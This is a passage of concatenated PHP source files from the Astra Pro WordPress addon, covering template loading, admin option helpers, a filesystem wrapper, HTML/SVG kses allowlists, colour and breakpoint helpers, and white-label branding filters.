'astra_remove_header_sections_dependency', $astra_settings['remove-header-sections-deps-in-new-header'] ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } /** * Check whether to update variant selected style or not. * * @since 3.9.3 * @return boolean false if it is an existing user, true if not. */ public static function astra_addon_update_variant_active_style() { $astra_settings = get_option( ASTRA_THEME_SETTINGS ); $astra_settings['can-update-variant-active-style'] = isset( $astra_settings['can-update-variant-active-style'] ) ? false : true; return apply_filters( 'astra_addon_update_wc_variant_style', $astra_settings['can-update-variant-active-style'] ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } /** * Support sale badge background color for design 2. * * @since 4.1.6 * @return boolean false if it is an existing user, true if not. */ public static function astra_addon_sale_badge_background_color() { $astra_settings = get_option( ASTRA_THEME_SETTINGS ); $astra_settings['apply-modern-layout-sale-badge-styles'] = isset( $astra_settings['apply-modern-layout-sale-badge-styles'] ) ? false : true; return apply_filters( 'astra_addon_apply_sale_badge_styles_modern_layout', $astra_settings['apply-modern-layout-sale-badge-styles'] ); } } class-astra-templates.php 0000666 00000006511 15165730730 0011504 0 ustar 00 <?php /** * Astra Templates * * @package Astra pro * @since 1.0.0 */ /** * Astra get template. */ if ( ! function_exists( 'astra_addon_get_template' ) ) { /** * Get other templates (e.g. blog layout 2/3, advanced footer layout 1/2/3/etc) passing attributes and including the file. * * @param string $template_name template path. E.g. (directory / template.php). * @param array $args (default: array()). * @param string $template_path (default: ''). * @param string $default_path (default: ''). * @since 1.0.0 * @return void */ function astra_addon_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) { $located = astra_addon_locate_template( $template_name, $template_path, $default_path ); if ( ! file_exists( $located ) ) { /* translators: 1: file location */ _doing_it_wrong( __FUNCTION__, esc_html( sprintf( __( '%s does not exist.', 'astra-addon' ), '<code>' . $located . '</code>' ) ), '1.0.0' ); return; } // Allow 3rd party plugin filter template file from their plugin. $located = apply_filters( 'astra_addon_get_template', $located, $template_name, $args, $template_path, $default_path ); do_action( 'astra_addon_before_template_part', $template_name, $template_path, $located, $args ); include $located; do_action( 'astra_addon_after_template_part', $template_name, $template_path, $located, $args ); } } /** * Astra locate template. */ if ( ! function_exists( 'astra_addon_locate_template' ) ) { /** * Locate a template and return the path for inclusion. * * This is the load order: * * yourtheme / $template_path / $template_name * yourtheme / $template_name * $default_path / $template_name * * @param string $template_name template path. E.g. (directory / template.php). * @param string $template_path (default: ''). * @param string $default_path (default: ''). * @since 1.0.0 * @return string return the template path which is maybe filtered. */ function astra_addon_locate_template( $template_name, $template_path = '', $default_path = '' ) { if ( ! $template_path ) { $template_path = 'astra-addon/'; } if ( ! $default_path ) { $default_path = ASTRA_EXT_DIR . 'addons/'; } /** * Look within passed path within the theme - this is priority. * * Note: Avoided directories '/addons/' and '/template/'. * * E.g. * * 1) Override Footer Widgets - Template 1. * Addon: {astra-addon}/addons/advanced-footer/template/layout-1.php * Theme: {child-theme}/astra-addon/advanced-footer/layout-1.php * * 2) Override Blog Pro - Template 2. * Addon: {astra-addon}/addons/blog-pro/template/blog-layout-2.php * Theme: {child-theme}/astra-addon/blog-pro/blog-layout-2.php. */ $theme_template_name = str_replace( 'template/', '', $template_name ); $template = locate_template( array( trailingslashit( $template_path ) . $theme_template_name, $theme_template_name, ) ); // Get default template. if ( ! $template || ASTRA_EXT_TEMPLATE_DEBUG_MODE ) { $template = $default_path . $template_name; } // Return what we found. return apply_filters( 'astra_addon_locate_template', $template, $template_name, $template_path ); } } class-astra-admin-helper.php 0000666 00000004645 15165730730 0012061 0 ustar 00 <?php /** * Admin settings helper * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra Addon * @link https://wpastra.com/ * @since Astra 1.0 */ if ( ! class_exists( 'Astra_Admin_Helper' ) ) : /** * Admin Helper */ // @codingStandardsIgnoreStart final class Astra_Admin_Helper { // @codingStandardsIgnoreEnd /** * Returns an option from the database for * the admin settings page. * * @since 1.0.0 * @since 1.5.1 Added $default parameter which can be passed to get_option|get_site_option functions. * * @param string $key The option key. * @param boolean $network Whether to allow the network admin setting to be overridden on subsites. * @param mixed $default Default value to be passed to get_option|get_site_option functions. * @return string Return the option value */ public static function get_admin_settings_option( $key, $network = false, $default = false ) { // Get the site-wide option if we're in the network admin. if ( $network && is_multisite() ) { $value = get_site_option( $key, $default ); } else { $value = get_option( $key, $default ); } return $value; } /** * Updates an option from the admin settings page. * * @param string $key The option key. * @param mixed $value The value to update. * @param bool $network Whether to allow the network admin setting to be overridden on subsites. * @return mixed */ public static function update_admin_settings_option( $key, $value, $network = false ) { // Update the site-wide option since we're in the network admin. if ( $network && is_multisite() ) { update_site_option( $key, $value ); } else { update_option( $key, $value ); } } /** * Returns an option from the database for * the admin settings page. * * @param string $key The option key. * @param bool $network Whether to allow the network admin setting to be overridden on subsites. * @return mixed */ public static function delete_admin_settings_option( $key, $network = false ) { // Get the site-wide option if we're in the network admin. if ( $network && is_multisite() ) { $value = delete_site_option( $key ); } else { $value = delete_option( $key ); } return $value; } } endif; class-astra-addon-filesystem.php 0000666 00000013402 15165730730 0012752 0 ustar 00 <?php /** * Astra Addon Helper. * * @package Astra Addon */ /** * Class Astra_Addon_Filesystem. */ class Astra_Addon_Filesystem { /** * Store instance of Astra_Addon_Filesystem * * @since 2.6.4. * @var Astra_Addon_Filesystem */ protected static $instance = null; /** * Get instance of Astra_Addon_Filesystem * * @since 2.6.4 * @return Astra_Addon_Filesystem */ public static function instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Get WP_Filesystem instance. * * @since 2.6.4 * @return WP_Filesystem */ public function get_filesystem() { global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php';// phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound $context = apply_filters( 'request_filesystem_credentials_context', false ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound add_filter( 'request_filesystem_credentials', array( $this, 'request_filesystem_credentials' ) ); $creds = request_filesystem_credentials( site_url(), '', false, $context, null ); WP_Filesystem( $creds, $context ); remove_filter( 'request_filesystem_credentials', array( $this, 'request_filesystem_credentials' ) ); } // Set the permission constants if not already set. if ( ! defined( 'FS_CHMOD_DIR' ) ) { define( 'FS_CHMOD_DIR', 0755 ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound } if ( ! defined( 'FS_CHMOD_FILE' ) ) { define( 'FS_CHMOD_FILE', 0644 ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound } return $wp_filesystem; } /** * Sets credentials to true. * * @since 2.6.4 */ public function request_filesystem_credentials() { return true; } /** * Checks to see if the site has SSL enabled or not. * * @since 2.6.4 * @return bool */ public function is_ssl() { if ( is_ssl() ) { return true; } elseif ( 0 === stripos( get_option( 'siteurl' ), 'https://' ) ) { return true; } elseif ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO'] ) { return true; } return false; } /** * Create uploads directory if it does not exist. * * @since 2.6.4 * @param String $dir directory path to be created. * @return boolean True of the directory is created. False if directory is not created. */ public function maybe_create_uploads_dir( $dir ) { // Create the upload dir if it doesn't exist. if ( ! file_exists( $dir ) ) { // Create the directory. $status = astra_addon_filesystem()->get_filesystem()->mkdir( $dir ); // IF a directory cannot be created, return with false status. if ( false === $status ) { astra_addon_filesystem()->update_filesystem_access_status( $status ); return false; } // Add an index file for security. astra_addon_filesystem()->get_filesystem()->put_contents( $dir . 'index.php', '' ); } return true; } /** * Update Filesystem status. * * @since 2.6.4 * @param boolean $status status for filesystem access. * @return void */ public function update_filesystem_access_status( $status ) { astra_update_option( 'file-write-access', $status ); } /** * Check if filesystem has write access. * * @since 2.6.4 * @return boolean True if filesystem has access, false if does not have access. */ public function can_access_filesystem() { return (bool) astra_get_option( 'file-write-access', true ); } /** * Reset filesystem access status. * * @since 2.6.4 * @return void */ public function reset_filesystem_access_status() { astra_delete_option( 'file-write-access' ); } /** * Returns an array of paths for the upload directory * of the current site. * * @since 2.6.4 * @param String $assets_dir directory name to be created in the WordPress uploads directory. * @return array */ public function get_uploads_dir( $assets_dir ) { $wp_info = wp_upload_dir( null, false ); // SSL workaround. if ( $this->is_ssl() ) { $wp_info['baseurl'] = str_ireplace( 'http://', 'https://', $wp_info['baseurl'] ); } // Build the paths. $dir_info = array( 'path' => $wp_info['basedir'] . '/' . $assets_dir . '/', 'url' => $wp_info['baseurl'] . '/' . $assets_dir . '/', ); return apply_filters( 'astra_addon_get_assets_uploads_dir', $dir_info ); } /** * Delete file from the filesystem. * * @since 2.6.4 * @param String $file Path to the file or directory. * @param boolean $recursive If set to true, changes file group recursively. * @param boolean $type Type of resource. 'f' for file, 'd' for directory. * @return void */ public function delete( $file, $recursive = false, $type = false ) { astra_addon_filesystem()->get_filesystem()->delete( $file, $recursive, $type ); } /** * Adds contents to the file. * * @param string $file_path Gets the assets path info. * @param string $style_data Gets the CSS data. * @since 2.6.4 * @return bool $put_content returns false if file write is not successful. */ public function put_contents( $file_path, $style_data ) { return astra_addon_filesystem()->get_filesystem()->put_contents( $file_path, $style_data ); } /** * Get contents of the file. * * @param string $file_path Gets the assets path info. * @since 2.6.4 * @return bool $get_contents Gets te file contents. */ public function get_contents( $file_path ) { return astra_addon_filesystem()->get_filesystem()->get_contents( $file_path ); } } class-astra-addon-kses.php 0000666 00000014741 15165730730 0011542 0 ustar 00 <?php /** * Admin settings helper * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra Addon * @link https://wpastra.com/ * @since Astra 4.1.1 */ /** * Astra Addon kses for data process. */ class Astra_Addon_Kses { /** * Echo kses code based on SVG type. * * @since 4.1.1 * * @return array Return the array for allowed SVG protocols. */ public static function astra_addon_svg_kses_protocols() { return array( 'a' => array( 'class' => array(), 'href' => array(), 'rel' => array(), 'data-quantity' => array(), 'data-product_id' => array(), 'data-product_sku' => array(), 'aria-label' => array(), 'rev' => true, 'name' => true, 'target' => true, 'download' => array( 'valueless' => 'y', ), 'aria-describedby' => true, 'aria-details' => true, 'aria-label' => true, 'aria-labelledby' => true, 'aria-hidden' => true, 'class' => true, 'data-*' => true, 'dir' => true, 'id' => true, 'lang' => true, 'style' => true, 'title' => true, 'role' => true, 'xml:lang' => true, ), 'i' => array( 'aria-describedby' => true, 'aria-details' => true, 'aria-label' => true, 'aria-labelledby' => true, 'aria-hidden' => true, 'class' => true, 'data-*' => true, 'dir' => true, 'id' => true, 'lang' => true, 'style' => true, 'title' => true, 'role' => true, 'xml:lang' => true, ), 'span' => array( 'data-product_id' => array(), 'align' => true, 'aria-describedby' => true, 'aria-details' => true, 'aria-label' => true, 'aria-labelledby' => true, 'aria-hidden' => true, 'class' => true, 'data-*' => true, 'dir' => true, 'id' => true, 'lang' => true, 'style' => true, 'title' => true, 'role' => true, 'xml:lang' => true, ), 'svg' => array( 'xmlns:xlink' => array(), 'version' => array(), 'x' => array(), 'y' => array(), 'enable-background' => array(), 'xml:space' => array(), 'class' => array(), 'data-*' => true, 'aria-hidden' => array(), 'aria-labelledby' => array(), 'role' => array(), 'xmlns' => array(), 'width' => array(), 'fill' => array(), 'height' => array(), 'viewbox' => array(), ), 'g' => array( 'fill' => array(), 'stroke-width' => array(), 'transform' => array(), 'stroke' => array(), 'id' => array(), 'clip-path' => array(), ), 'use' => array( 'xlink:href' => array(), 'clip-path' => array(), 'stroke-width' => array(), 'id' => array(), 'stroke' => array(), 'fill' => array(), 'transform' => array(), ), 'polyline' => array( 'fill' => array(), 'points' => array(), 'transform' => array(), 'id' => array(), ), 'clippath' => array( 'id' => array() ), 'title' => array( 'title' => array() ), 'path' => array( 'd' => array(), 'fill' => array(), 'id' => array(), 'clip-path' => array(), 'stroke' => array(), 'transform' => array(), 'stroke-width' => array(), ), 'circle' => array( 'cx' => array(), 'cy' => array(), 'r' => array(), 'fill' => array(), 'fill' => array(), 'style' => array(), 'transform' => array(), ), 'rect' => array( 'y' => array(), 'x' => array(), 'r' => array(), 'style' => array(), 'id' => array(), 'fill' => array(), 'width' => array(), 'height' => array(), ), 'polygon' => array( 'style' => array(), 'points' => array(), 'fill' => array(), 'transform' => array(), ), ); } /** * Echo kses post allowed HTML protocols along with above SVG protocols. * * @since 4.1.1 * * @return array Return the array for allowed protocols. */ public static function astra_addon_svg_with_post_kses_protocols() { return apply_filters( 'astra_addon_all_kses_protocols', array_merge( wp_kses_allowed_html( 'post' ), self::astra_addon_svg_kses_protocols() ) ); } /** * Echo kses allowed 'post' kses protocols along with 'form' tag. * * @since 4.1.1 * * @return array Return the array for allowed protocols. */ public static function astra_addon_form_with_post_kses_protocols() { return apply_filters( 'astra_addon_form_post_kses_protocols', array_merge( array( 'div' => array( 'class' => array(), 'id' => array(), 'style' => array(), 'data-*' => true, 'align' => array(), ), 'form' => array( 'class' => array(), 'id' => array(), 'action' => array(), 'role' => array(), 'data-*' => true, 'accept' => array(), 'accept-charset' => array(), 'enctype' => array(), 'method' => array(), 'name' => array(), 'target' => array(), ), 'input' => array( 'class' => array(), 'placeholder' => array(), 'data-*' => true, 'type' => array(), 'role' => array(), 'value' => array(), 'name' => array(), 'autocomplete' => array(), ), 'button' => array( 'class' => array(), 'data-*' => true, 'aria-label' => array(), 'value' => array(), 'type' => array(), ), ), self::astra_addon_svg_kses_protocols() ) ); } } helper-functions.php 0000666 00000033056 15165730730 0010564 0 ustar 00 <?php /** * Astra Theme Extension * * @package Astra Addon */ /** * Contrasting Color */ if ( ! function_exists( 'astra_addon_contrasting_color' ) ) : /** * Contrasting Color * * @since 1.0.0 * @param string $hexcolor Color code in HEX format. * @param string $dark Darker color in HEX format. * @param string $light Light color in HEX format. * @return string Contrasting Color. */ function astra_addon_contrasting_color( $hexcolor, $dark = '#000000', $light = '#FFFFFF' ) { return ( hexdec( $hexcolor ) > 0xffffff / 2 ) ? $dark : $light; } endif; /** * Color conversion from HEX to RGB or RGBA. */ if ( ! function_exists( 'astra_addon_hex2rgba' ) ) : /** * Color conversion from HEX to RGB or RGBA. * * @since 1.0.0 * @param string $hex Color code in HEX format. * @param string $alpha Color code alpha value for RGBA conversion. * @return string Return RGB or RGBA color code. */ function astra_addon_hex2rgba( $hex, $alpha = '' ) { $hex = str_replace( '#', '', $hex ); if ( strlen( $hex ) == 3 ) { $r = hexdec( substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) ); $g = hexdec( substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) ); $b = hexdec( substr( $hex, 2, 1 ) . substr( $hex, 2, 1 ) ); } else { $r = hexdec( substr( $hex, 0, 2 ) ); $g = hexdec( substr( $hex, 2, 2 ) ); $b = hexdec( substr( $hex, 4, 2 ) ); } $rgb = $r . ',' . $g . ',' . $b; if ( '' === $alpha ) { return 'rgb(' . $rgb . ')'; } else { $alpha = floatval( $alpha ); return 'rgba(' . $rgb . ',' . $alpha . ')'; } } endif; /** * Convert colors from HEX to RGBA */ if ( ! function_exists( 'astra_hex_to_rgba' ) ) : /** * Convert colors from HEX to RGBA * * @param string $color Color code in HEX. * @param boolean $opacity Color code opacity. * @return string Color code in RGB or RGBA. */ function astra_hex_to_rgba( $color, $opacity = false ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $default = 'rgb(0,0,0)'; // Return default if no color provided. if ( empty( $color ) ) { return $default; } // Sanitize $color if "#" is provided. if ( '#' == $color[0] ) { $color = substr( $color, 1 ); } // Check if color has 6 or 3 characters and get values. if ( 6 == strlen( $color ) ) { $hex = array( $color[0] . $color[1], $color[2] . $color[3], $color[4] . $color[5] ); } elseif ( 3 == strlen( $color ) ) { $hex = array( $color[0] . $color[0], $color[1] . $color[1], $color[2] . $color[2] ); } else { return $default; } // Convert HEX to RGB. $rgb = array_map( 'hexdec', $hex ); // Check if opacity is set(RGBA or RGB). if ( $opacity ) { if ( 1 < abs( $opacity ) ) { $opacity = 1.0; } $output = 'rgba(' . implode( ',', $rgb ) . ',' . $opacity . ')'; } else { $output = 'rgb(' . implode( ',', $rgb ) . ')'; } // Return RGB(a) color string. return $output; } endif; /** * Function to get Supported Custom Posts */ if ( ! function_exists( 'astra_addon_get_supported_posts' ) ) : /** * Function to get Supported Custom Posts * * @param boolean $with_tax Post has taxonomy. * @return array */ function astra_addon_get_supported_posts( $with_tax = false ) { /** * Dynamic Sidebars * * Generate dynamic sidebar for each post type. */ $post_types = get_post_types( array( 'public' => true, ), 'objects' ); $supported_types = array(); $supported_types_tax = array(); foreach ( $post_types as $slug => $post_type ) { // Avoid post types. if ( 'attachment' === $slug || 'page' === $slug || 'post' === $slug ) { continue; } // Add to supported post type. $supported_types[ $slug ] = $post_type->label; // Add the taxonomies for the post type. $taxonomies = get_object_taxonomies( $slug, 'objects' ); $another = array(); foreach ( $taxonomies as $taxonomy_slug => $taxonomy ) { if ( ! $taxonomy->public || ! $taxonomy->show_ui || 'post_format' == $taxonomy_slug ) { continue; } $another[] = $taxonomy->label; } // Add to supported post type. if ( count( $another ) ) { $supported_types_tax[] = $slug; } } if ( $with_tax ) { return $supported_types_tax; } else { return $supported_types; } } endif; /** * Function to check if it is Internet Explorer */ if ( ! function_exists( 'astra_check_is_ie' ) ) : /** * Function to check if it is Internet Explorer. * * @return true | false boolean */ function astra_check_is_ie() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $is_ie = false; $user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( $_SERVER['HTTP_USER_AGENT'] ) : false; $ua = htmlentities( $user_agent, ENT_QUOTES, 'UTF-8' ); if ( strpos( $ua, 'Trident/7.0' ) !== false ) { $is_ie = true; } return $is_ie; } endif; if ( ! function_exists( 'astra_check_is_bb_themer_layout' ) ) : /** * Check if layout is bb themer's layout */ function astra_check_is_bb_themer_layout() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $is_layout = false; $post_type = get_post_type(); $post_id = get_the_ID(); if ( 'fl-theme-layout' === $post_type && $post_id ) { $is_layout = true; } return $is_layout; } endif; if ( ! function_exists( 'astra_addon_rgba2hex' ) ) : /** * Color conversion from RGBA / RGB to HEX. * * @since 1.0.0 * @param string $string Color code in RGBA / RGB format. * @param string $include_alpha Color code in RGBA / RGB format. * @return string Return HEX color code. */ function astra_addon_rgba2hex( $string, $include_alpha = false ) { $hex_color = $string; if ( ! astra_addon_check_is_hex( $string ) ) { $rgba = array(); $regex = '#\((([^()]+|(?R))*)\)#'; if ( preg_match_all( $regex, $string, $matches ) ) { $rgba = explode( ',', implode( ' ', $matches[1] ) ); } else { $rgba = explode( ',', $string ); } $rr = dechex( $rgba['0'] ); $gg = dechex( $rgba['1'] ); $bb = dechex( $rgba['2'] ); $aa = ''; if ( $include_alpha && array_key_exists( '3', $rgba ) ) { $aa = dechex( $rgba['3'] * 255 ); } $hex_color = strtoupper( "#$aa$rr$gg$bb" ); } return $hex_color; } endif; if ( ! function_exists( 'astra_addon_check_is_hex' ) ) : /** * Check if color code is HEX. * * @since 1.0.0 * @param string $string Color code any format. * @return boolean Return true | false. */ function astra_addon_check_is_hex( $string ) { $is_hex = false; $regex = '/^#(?:[0-9a-fA-F]{3}){1,2}$/'; if ( preg_match_all( $regex, $string, $matches ) ) { $is_hex = true; } return $is_hex; } endif; if ( ! function_exists( 'astra_get_addon_name' ) ) : /** * Get addon name. * * @return string Addon Name. */ function astra_get_addon_name() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $addon_name = __( 'Astra Pro', 'astra-addon' ); return apply_filters( 'astra_addon_name', $addon_name ); } endif; if ( ! function_exists( 'astra_addon_return_content_layout_page_builder' ) ) : /** * String for content layout - page-builder * * @since 1.2.1 * @return String page-builder string used for filter `astra_get_content_layout` */ function astra_addon_return_content_layout_page_builder() { return 'page-builder'; } endif; if ( ! function_exists( 'astra_addon_return_page_layout_no_sidebar' ) ) : /** * String for sidebar Layout - no-sidebar * * @since 1.2.1 * @return String no-sidebar string used for filter `astra_page_layout` */ function astra_addon_return_page_layout_no_sidebar() { return 'no-sidebar'; } endif; if ( ! function_exists( 'astra_get_prop' ) ) : /** * Get a specific property of an array without needing to check if that property exists. * * Provide a default value if you want to return a specific value if the property is not set. * * @since 1.4.0 * @link https://www.gravityforms.com/ * * @param array $array Array from which the property's value should be retrieved. * @param string $prop Name of the property to be retrieved. * @param string $default Optional. Value that should be returned if the property is not set or empty. Defaults to null. * * @return null|string|mixed The value */ function astra_get_prop( $array, $prop, $default = null ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound if ( ! is_array( $array ) && ! ( is_object( $array ) && $array instanceof ArrayAccess ) ) { return $default; } if ( ( isset( $array[ $prop ] ) && false === $array[ $prop ] ) ) { return false; } if ( isset( $array[ $prop ] ) ) { $value = $array[ $prop ]; } else { $value = ''; } return empty( $value ) && null !== $default ? $default : $value; } endif; /** * Check if we're being delivered AMP * * @return bool */ function astra_addon_is_amp_endpoint() { return function_exists( 'is_amp_endpoint' ) && is_amp_endpoint(); } /** * Function astra_addon_is_breadcrumb_trail checks if the Theme has the updated version with function 'astra_breadcrumb_trail'. * We will fallback to older version of breadcrumb function 'astra_breadcrumb'. * * @param string $echo Whether to echo or return. * @since 1.8.0 */ function astra_addon_is_breadcrumb_trail( $echo = true ) { if ( function_exists( 'astra_get_breadcrumb' ) ) { return astra_get_breadcrumb( $echo ); } require ASTRA_EXT_DIR . '/addons/advanced-headers/classes/astra-breadcrumbs.php'; if ( ! $echo ) { ob_start(); astra_breadcrumb(); return ob_get_clean(); } echo wp_kses_post( astra_breadcrumb() ); } /** * Add shortcode for Breadcrumb using Theme * * @return string * @since 1.8.0 */ function astra_addon_breadcrumb_shortcode() { return astra_addon_is_breadcrumb_trail( false ); } add_shortcode( 'astra_breadcrumb', 'astra_addon_breadcrumb_shortcode' ); /** * Get the tablet breakpoint value. * * @param string $min min. * @param string $max max. * * @since 2.4.0 * * @return string $breakpoint. */ function astra_addon_get_tablet_breakpoint( $min = '', $max = '' ) { $update_breakpoint = astra_get_option( 'can-update-addon-tablet-breakpoint', true ); // Change default for new users. $default = ( true === $update_breakpoint ) ? 921 : 768; $header_breakpoint = apply_filters( 'astra_tablet_breakpoint', $default ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( '' !== $min ) { $header_breakpoint = $header_breakpoint - $min; } elseif ( '' !== $max ) { $header_breakpoint = $header_breakpoint + $max; } return $header_breakpoint; } /** * Get the mobile breakpoint value. * * @param string $min min. * @param string $max max. * * @since 2.4.0 * * @return string header_breakpoint. */ function astra_addon_get_mobile_breakpoint( $min = '', $max = '' ) { $header_breakpoint = apply_filters( 'astra_mobile_breakpoint', 544 ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( '' !== $min ) { $header_breakpoint = $header_breakpoint - $min; } elseif ( '' !== $max ) { $header_breakpoint = $header_breakpoint + $max; } return absint( $header_breakpoint ); } /** * Is Astra Addon existing header footer configs enable. * * @since 2.7.0 * * @return boolean true/false. */ function astra_addon_existing_header_footer_configs() { return apply_filters( 'astra_addon_existing_header_footer_configs', true ); } /** * Check is WordPress version is greater than or equal to 5.8 version. * * @since 3.5.5 * @return boolean */ function astra_addon_has_widgets_block_editor() { if ( function_exists( 'astra_has_widgets_block_editor' ) ) { return astra_has_widgets_block_editor(); } return false; } /** * Check whther to display or hide sticky header widget design options. * * @since 3.5.8 * @return boolean */ function astra_addon_remove_widget_design_options() { if ( function_exists( 'astra_remove_widget_design_options' ) ) { return astra_remove_widget_design_options(); } return false; } /** * Regenerate Theme and Addon cache files. * * @since 3.5.9 * @return void */ function astra_addon_clear_cache_assets() { // Clear Addon static CSS asset cache. Astra_Minify::refresh_assets(); // This will clear addon dynamic CSS cache file which is generated using File generation option. $astra_cache_base_instance = new Astra_Cache_Base( 'astra-addon' ); $astra_cache_base_instance->refresh_assets( 'astra-addon' ); // Clear Theme assets cache. $astra_cache_base_instance = new Astra_Cache_Base( 'astra' ); $astra_cache_base_instance->refresh_assets( 'astra' ); } add_action( 'astra_addon_update_after', 'astra_addon_clear_cache_assets', 10 ); /** * Check is Elementor Pro version is greater than or equal to beta 3.5 version. * * @since 3.6.3 * @return boolean */ function astra_addon_check_elementor_pro_3_5_version() { if ( defined( 'ELEMENTOR_PRO_VERSION' ) && version_compare( ELEMENTOR_PRO_VERSION, '3.5', '>=' ) ) { return true; } return false; } class-astra-ext-white-label-markup.php 0000666 00000062624 15165730730 0014005 0 ustar 00 <?php /** * White Label Markup * * @package Astra Pro */ if ( ! class_exists( 'Astra_Ext_White_Label_Markup' ) ) { /** * White Label Markup Initial Setup * * @since 1.0.0 */ // @codingStandardsIgnoreStart class Astra_Ext_White_Label_Markup { // @codingStandardsIgnoreEnd /** * Member Variable * * @var object instance */ private static $instance; /** * Member Variable * * @var array instance * @deprecated 1.6.15 */ public static $branding; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'astra_theme_author', array( $this, 'theme_author_callback' ) ); if ( is_admin() ) { add_filter( 'all_plugins', array( $this, 'plugins_page' ) ); add_filter( 'wp_prepare_themes_for_js', array( $this, 'themes_page' ) ); add_filter( 'all_themes', array( $this, 'network_themes_page' ) ); add_filter( 'update_right_now_text', array( $this, 'admin_dashboard_page' ) ); add_action( 'customize_render_section', array( $this, 'theme_customizer' ) ); // Change menu page title. add_filter( 'astra_menu_page_title', array( $this, 'menu_page_title' ), 10, 1 ); add_filter( 'astra_theme_name', array( $this, 'menu_page_title' ), 10, 1 ); add_filter( 'astra_addon_name', array( $this, 'addon_page_name' ), 10, 1 ); // Theme welcome Page right sections filter. add_filter( 'astra_support_link', array( $this, 'agency_author_link' ), 10, 1 ); add_filter( 'astra_community_group_link', array( $this, 'agency_author_link' ), 10, 1 ); add_filter( 'astra_knowledge_base_documentation_link', array( $this, 'agency_author_link' ), 10, 1 ); add_filter( 'astra_starter_sites_documentation_link', array( $this, 'agency_author_link' ), 10, 1 ); add_filter( 'astra_site_url', array( $this, 'agency_author_link' ), 10, 1 ); if ( false !== self::get_whitelabel_string( 'astra', 'name', false ) ) { // Gettext filter. add_filter( 'gettext', array( $this, 'theme_gettext' ), 20, 3 ); } if ( false !== self::astra_pro_whitelabel_name() ) { add_filter( 'gettext', array( $this, 'plugin_gettext' ), 20, 3 ); } // Add menu item. if ( ! self::show_branding() ) { // Remove Action Heading if white label is enabled. add_filter( 'astra_advanced_hooks_list_action_column_headings', array( $this, 'remove_white_label_action' ), 10, 1 ); // Remove Action Description. add_filter( 'astra_custom_layouts_hooks', array( $this, 'remove_description_custom_layouts' ), 10, 1 ); // Rename custom layout post url slug. add_filter( 'astra_advanced_hooks_rewrite_slug', array( $this, 'change_custom_hook_url_slug' ), 20, 2 ); // Hide Themes section in the customizer as the theme name cannot be edited in it. add_action( 'customize_register', array( $this, 'remove_themes_section' ), 30 ); add_filter( 'bsf_product_changelog_astra-addon', '__return_empty_string' ); add_filter( 'bsf_white_label_options', array( $this, 'astra_bsf_analytics_white_label' ) ); } // Add menu item. add_filter( 'astra_addon_licence_url', array( $this, 'addon_licence_url' ), 10, 1 ); // Change the theme page slug only if the value if added by user. $theme_whitelabelled_name = self::get_whitelabel_string( 'astra', 'name', false ); if ( false !== $theme_whitelabelled_name && ! empty( $theme_whitelabelled_name ) ) { add_filter( 'astra_theme_page_slug', array( $this, 'astra_whitelabelled_slug' ) ); add_filter( 'admin_body_class', array( $this, 'astra_page_admin_classes' ) ); } } add_action( 'admin_enqueue_scripts', array( $this, 'updates_core_page' ) ); // White Label graupi updates screen. add_filter( 'bsf_product_name_astra-addon', array( $this, 'astra_pro_whitelabel_name' ) ); add_filter( 'bsf_product_description_astra-addon', array( $this, 'astra_pro_whitelabel_description' ) ); add_filter( 'bsf_product_author_astra-addon', array( $this, 'astra_pro_whitelabel_author' ) ); add_filter( 'bsf_product_homepage_astra-addon', array( $this, 'astra_pro_whitelabel_author_url' ) ); if ( false !== self::get_whitelabel_string( 'astra', 'screenshot' ) ) { add_filter( 'bsf_product_icons_astra-addon', array( $this, 'astra_pro_branded_icons' ) ); } if ( false !== self::get_whitelabel_string( 'astra', 'icon' ) ) { add_filter( 'astra_admin_menu_icon', array( $this, 'update_admin_brand_logo' ) ); } } /** * Add admin page class to Astra Options page. * * @since 1.6.14 * @param String $classes CSS class names for thee body attribute. * @return String SS class names for thee body attribute with new CSS classes for Astra Options page. */ public function astra_page_admin_classes( $classes ) { $current_screen = get_current_screen(); if ( 'toplevel_page_' . $this->astra_whitelabelled_slug( 'astra' ) === $current_screen->base ) { $classes = $classes . ' toplevel_page_astra'; } return $classes; } /** * Provide White Label array(). * * @return array() * @since 1.0 */ public static function get_white_labels() { $branding_default = apply_filters( 'astra_addon_branding_options', array( 'astra-agency' => array( 'author' => '', 'author_url' => '', 'licence' => '', 'hide_branding' => false, ), 'astra' => array( 'name' => '', 'description' => '', 'screenshot' => '', 'icon' => '', ), 'astra-pro' => array( 'name' => '', 'description' => '', ), ) ); $branding = Astra_Admin_Helper::get_admin_settings_option( '_astra_ext_white_label', true ); $branding = wp_parse_args( $branding, $branding_default ); return apply_filters( 'astra_addon_get_white_labels', $branding ); } /** * Get individual whitelabel setting. * * @param String $product Product Slug for which whitelabel value is to be received. * @param String $key whitelabel key to be received from the database. * @param mixed $default default value to 